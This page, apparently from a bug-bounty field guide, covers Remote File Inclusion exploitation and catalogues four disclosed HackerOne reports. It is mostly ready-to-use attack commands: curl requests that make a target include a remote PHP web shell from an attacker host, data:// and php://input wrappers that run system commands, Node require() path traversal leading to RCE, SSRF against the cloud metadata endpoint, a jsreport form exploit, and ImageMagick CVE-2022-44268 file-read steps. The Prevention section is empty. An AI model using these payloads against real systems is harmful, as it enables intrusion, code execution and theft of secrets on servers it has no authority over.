⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Vulnerabilities/Remote File Inclusion
Vulnerabilities

Remote File Inclusion

⚠ Thin coverage β€” only 4 disclosed reports for this class; illustrative, not exhaustive.

Β§Basic information

Remote File Inclusion (RFI) is what happens when attacker input decides which file, module, or URL the server loads β€” not merely which data it reads. The classic form is include($_GET['page']) reaching out to http://COLLAB/shell.txt, but the primitive is broader than PHP: any time a request value flows into a load API β€” include/require/import, an image library that embeds a file you name, a headless-browser renderer, or a fetch(url=) proxy β€” a data channel becomes a code/content-load channel.

The distinction from path traversal / LFI is where the resource comes from and what the server does with it. LFI reads a local file; RFI pulls (or names) an arbitrary resource β€” a remote script, an out-of-tree .js, a loopback URL, or an on-disk file the app never meant to touch. Because the endpoint of the channel is a loader, RFI is almost always a step to RCE, arbitrary file read, or SSRF, rarely a leaf bug. The whole game is finding the sink where "which file" is attacker-controlled and the loader trusts it.

Β§Methodology

  1. Find load sinks. For every parameter, path segment, and uploaded artifact, ask: does my input pick the file/module/URL the server loads? Grep the surface for ?url=, ?page=, ?file=, ?path=, ?template=, ?src=, anything ending in a filename, and any endpoint that hands back a processed copy of what you uploaded.
  2. Fire an out-of-band canary. Point the suspected loader at your collaborator and watch for a server-side hit β€” a real fetch resolves it; string reflection does not.
  3. Classify the loader β€” remote-URL include (classic RFI), dynamic module require(), URL-fetch proxy/renderer, or media-library file embed. Each has a different confirm-and-weaponize path.
  4. Confirm control, not just reachability. A traversal that errors with module-not-found proves your input is joined into the load path; a rendered remote <script> proves the origin trusts your content.
  5. Weaponize to the surface's ceiling β€” remote code load β†’ RCE, image embed β†’ arbitrary file read, proxy render β†’ XSS-on-trusted-origin + SSRF.
# Universal RFI/SSRF canary: does input reach a real server-side fetch? curl 'http://TARGET/index.php?page=http://COLLAB/canary' # tell: COLLAB logs a request -> the loader fetches attacker URLs (RFI/SSRF live)

Β§Load-sink variants

Identify which loader your input reaches, then use the matching confirm-and-weaponize block.

Classic remote-URL include (PHP)

include/require/include_once on a value you control, with allow_url_include=On (and allow_url_fopen=On). Point it at a remote script; the interpreter fetches and executes it in-process.

# Host shell.txt: <?php system($_GET['c']); ?> (NOT a .php file β€” you want the raw source served) curl 'http://TARGET/index.php?page=http://COLLAB/shell.txt&c=id'

If the app appends an extension (include($page . ".php")), strip it with a query/fragment so the remote fetch ignores the suffix:

# server requests http://COLLAB/shell.txt?.php -> the ?.php is just a querystring, source still runs curl 'http://TARGET/index.php?page=http://COLLAB/shell.txt%3f' # fragment variant: http://COLLAB/shell.txt%23 (the #.php is dropped by the fetch)

When the outbound fetch is blocked (allow_url_fopen=Off) but the include still evaluates PHP, pivot to fetch-free wrappers (this is the RFI→LFI boundary — same sink, local payload). Note the flag dependency: data:// and php://input still require allow_url_include=On (they only skip the network fetch), whereas php://filter works even with it Off:

# data:// wrapper β€” inline the payload, no remote host needed (needs allow_url_include=On) curl 'http://TARGET/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+&c=id' # php://input β€” POST the payload as the request body (needs allow_url_include=On) curl -s 'http://TARGET/index.php?page=php://input' --data '<?php system("id"); ?>' # php://filter β€” works with allow_url_include=Off; base64-read local source (chainable to RCE) curl 'http://TARGET/index.php?page=php://filter/convert.base64-encode/resource=index.php'

Dynamic module load (Node require/import)

Routers that build a module path by joining a base dir with req.url and pass it to require(). The URL is a code-load sink β€” a traversal points require() at any .js on disk. Client-side normalization eats ../, so you must send it raw.

# --path-as-is preserves ../ so the traversal reaches the server-side require() join curl --path-as-is 'http://TARGET/../../../../../../hack' # tell: MODULE_NOT_FOUND / a side-effect from the loaded file confirms req.url -> require() # (some frameworks need fewer segments): curl --path-as-is 'http://TARGET/../hack'

Weaponize by pairing with any attacker-writable path β€” an upload dir, a log file, a temp file β€” then require that file to execute it:

# after planting attacker.js via an upload/log-write primitive: curl --path-as-is 'http://TARGET/../../../../../../var/www/uploads/attacker.js' # require() loads and runs it -> RCE

URL-fetch proxy / renderer

"Fetch this URL and show it" features β€” plain.php?url=, link previews, "import from URL", HTML/URL-to-PDF renderers. With no host/scheme/filetype allowlist this is a double bug: remote content served from the trusted origin (XSS) and arbitrary internal reach (SSRF).

# host t.html: <script>alert(document.domain)</script> curl 'http://TARGET/proxys/plain.php?url=http://COLLAB/t.html&operation=GetParameterInfo' # remote HTML/JS now executes under TARGET's origin -> stored/reflected XSS # then pivot url= at internal hosts/files -> SSRF / internal scan curl 'http://TARGET/proxys/plain.php?url=http://169.254.169.254/latest/meta-data/'

Headless-Chrome "render my template" variants fetch the resources named in your HTML server-side β€” the same SSRF primitive, now reaching loopback-only services:

<!-- an <img>/<form>/<iframe> in the rendered template fires a server-side fetch --> <img src="http://127.0.0.1:PORT/status">

Media-library file embed (image processors)

The subtlest RFI: no path appears in any URL param. A vulnerable ImageMagick (CVE-2022-44268) embeds the contents of a file you name in a PNG tEXt profile chunk into the re-encoded output. Any resize/convert pipeline that hands the processed image back becomes an arbitrary local file read β€” the sink is the image library, not app code.

# 1) craft a PNG whose tEXt 'profile' value is an absolute target path (metabaseq PoC style): # profile = /etc/passwd (or an app secret / config file) # 2) upload it to ANY resize/avatar/thumbnail endpoint, download the processed copy, then: identify -verbose resized.png # copy the 'Raw profile type:' hex blob python3 -c "print(bytes.fromhex('2c2c2c...').decode())" # -> the leaked file contents
β–Έ TIP
Probe every resize/convert/thumbnail endpoint, not just obvious upload forms β€” anything that returns a re-encoded copy of your image is a candidate. To hunt or to confirm prior exploitation, grep image metadata for the literal string tEXtprofile.

Β§Bypasses

Filter / controlBypassSeen in
Client-side path normalization strips ../send the traversal with curl --path-as-is so ../ survives to the server-side require() join#566056
No path/injection accepted in any URL paramput the target path in a PNG tEXt profile chunk β€” the image library reads the file, app code never sees a path#1858574
Naive JSON body parser on an internal RPCenctype="text/plain" form POST smuggles a JSON body ({"test":1,"options":{...}}) past the parser to the loopback service#660565
Random / unknown internal service portHTML-to-PDF resource-load errors leak it (connect ECONNREFUSED 127.0.0.1:<port>); binary-scan 1024–65535#660565
Host / filetype allowlist absenta single unvalidated url= yields both remote-HTML XSS on the origin and SSRF#192940
Appended .php extension on includetruncate with ?/# (shell.txt%3f) so the remote fetch drops the suffix; or null-byte on old PHP (%00)general
β–² WARNING
allow_url_include has defaulted to Off since PHP 5.2, so classic remote-URL RFI is rare on modern stacks. Do not stop at "remote include blocked" — the same include sink almost always still evaluates data://, php://input, and php://filter payloads (LFI→RCE), and the modern loader variants (Node require, media embeds, URL proxies) don't depend on that flag at all.

Β§Escalation & impact

Every RFI variant is a stepping stone, not an endpoint β€” chase the ceiling of the loader:

Β§Prevention

Β§Tools

✦Specimens β€” real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β€” concrete payload, outcome, and matching practice lab. 4 in this class.

Real-world example

ImageMagick CVE-2022-44268 arbitrary file read via malicious PNG

β—† Critical
Specimen #1858574 Β· security Β· awarded Β· 371 votes Β· resolved
Program securitySurface webChain local file read -> exfiltrate app secrets/config -> seTag file-upload

Root cause

A vulnerable ImageMagick (<7.1.0-52 / 6.9.x) embeds the contents of a file named in a PNG tEXt 'profile' chunk into the output image's raw profile when re-encoding. Any image-resize/convert pipeline that echoes the processed image back becomes an arbitrary local file read.

Method

  1. Find an upload that resizes/re-encodes images server-side (avatar, profile picture, attachment thumbnailing).
  2. Craft a PNG whose tEXt 'profile' chunk value is an absolute path to a target file (e.g. /etc/passwd or an app secret/config).
  3. Upload it, then download the server-processed/resized copy.
  4. Run `identify -verbose out.png`, take the `Raw profile type` hex blob and decode it to recover the file contents.
# build the malicious PNG (metabaseq PoC style): set tEXt 'profile' to target path # then after download: identify -verbose resized.png # read 'Raw profile type:' hex python -c "print(bytes.fromhex('2c2c2c...').decode())"

Insight β€” Any server-side image processing that returns the re-encoded image is a candidate for CVE-2022-44268 file read β€” probe every resize/convert endpoint, not just obvious upload forms. Malicious payloads are detectable by the string 'tEXtprofile' in image metadata (useful both to hunt and to scan a corpus for prior exploitation).

Real-world example

jsreport SSRF + unintended-require chained to RCE

β—† High
Specimen #660565 Β· nodejs-ecosystem Β· none Β· 8 votes Β· resolved
Program nodejs-ecosystemSurface webChain HTML-to-PDF SSRF -> localhost port scan (debug-log oracle

Root cause

jsreport renders user HTML to PDF via headless Chrome (Puppeteer), giving the attacker server-side request forgery from within the report. A separate script-manager listens on a random localhost port and honors execModulePath (unintended require). SSRF is used to find and drive script-manager, executing an attacker-stored js file β€” full RCE.

Method

  1. Supply an HTML template with remote/internal resource loads (img/form) β€” the PDF render fetches them server-side (SSRF).
  2. Use Debug/logsToResponse mode: ECONNREFUSED vs HTTP 500 in the log distinguishes closed vs open localhost ports; a fast follow-up request leaks the exact port in 'connect ECONNREFUSED 127.0.0.1:<port>'.
  3. Binary/divide-and-conquer scan 1024-65535 to locate script-manager's random port.
  4. Store a js payload as a jsreport script (pwn.js).
  5. From a rendered template, auto-submit a form POST to the script-manager port with execModulePath pointing at the stored script's content.js to execute it.
<!-- SSRF probe / exploit form, xxxx = script-manager port --> <form id="pwn-form" enctype="text/plain" method="POST" action="http://localhost:xxxx/"> <input type="hidden" name='{"test' value='":1, "options": {"rid": 12, "execModulePath": "./../../../data/pwn.js/content.js"}}' /> </form> <script>document.getElementById('pwn-form').submit();</script>

Insight β€” Any 'render my HTML/URL to PDF/image' feature is an SSRF primitive; combine it with a loopback-only internal service that trusts localhost to reach otherwise-unreachable RCE sinks. Verbose/debug log modes are a port-oracle β€” differential error messages leak internal service ports. enctype=text/plain form POST smuggles a JSON body past a naive parser.

Real-world example

Node unintended require via URL-controlled controller path

β—† Medium
Specimen #566056 Β· nodejs-ecosystem Β· none Β· 7 votes Β· resolved
Program nodejs-ecosystemSurface webChain unintended require -> load arbitrary on-disk js -> RCE

Root cause

larvitbase-api/www build a controller module path by joining a base dir with the request URL (req.urlBase) and pass it to require(); a traversal in the URL forces require() to load arbitrary .js files on disk that were never meant to run as controllers.

Method

  1. Identify a Node app that dynamically require()s a module derived from the request path.
  2. Send a path-traversal URL (use curl --path-as-is so ../ is not normalized client-side) to point require() at an out-of-tree .js file.
  3. Observe execution of the unintended module (side effects / errors confirm load).
curl --path-as-is 'http://localhost:8001/../../../../../../hack' # larvitbase-www variant needs fewer segments: curl --path-as-is 'http://localhost:8001/../hack'

Insight β€” When routing maps req.url straight into require()/import()/include path, the URL is a code-load sink, not just a data sink β€” the transferable primitive is 'attacker controls the x in require(x)'. Combine with any writable-file bug (upload, log, temp) to reach RCE. Always send traversal with --path-as-is to defeat client-side normalization.

Real-world example

URL-fetch proxy renders remote HTML -> XSS + pseudo-SSRF

β—† Medium
Specimen #192940 Β· deptofdefense Β· none Β· 5 votes Β· resolved
Program deptofdefenseSurface webChain RFI/remote-content render -> reflected XSS on trusted ori

Root cause

A proxy endpoint (plain.php?url=) fetches and renders the content of any attacker-supplied URL with no host/filetype whitelist, so attacker-hosted HTML/JS is served from the trusted origin (stored/reflected XSS) and internal hosts can be reached (SSRF).

Method

  1. Host t.html with a <script> payload on your server
  2. Request plain.php?url=http://attacker/t.html&...
  3. Response renders your HTML/JS under the target origin
  4. Point url= at internal IPs/files to scan/reach internal resources
http://TARGET/.../proxys/plain.php?url=http://attacker_server/t.html&operation=GetParameterInfo&parameter=countryBoundaryLayer&outputFormat=JSON # t.html: <script>alert(document.cookie)</script>

Insight β€” Any 'fetch this URL and show it' feature (proxy, preview, import) without a whitelist is a double bug: remote content rendered on your origin = XSS, and arbitrary url= = SSRF/internal scanning. Test both immediately.

Β§References & practice

  1. PortSwigger Web Security Academy β€” Path traversal labs (hands-on practice).
  2. All 4 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.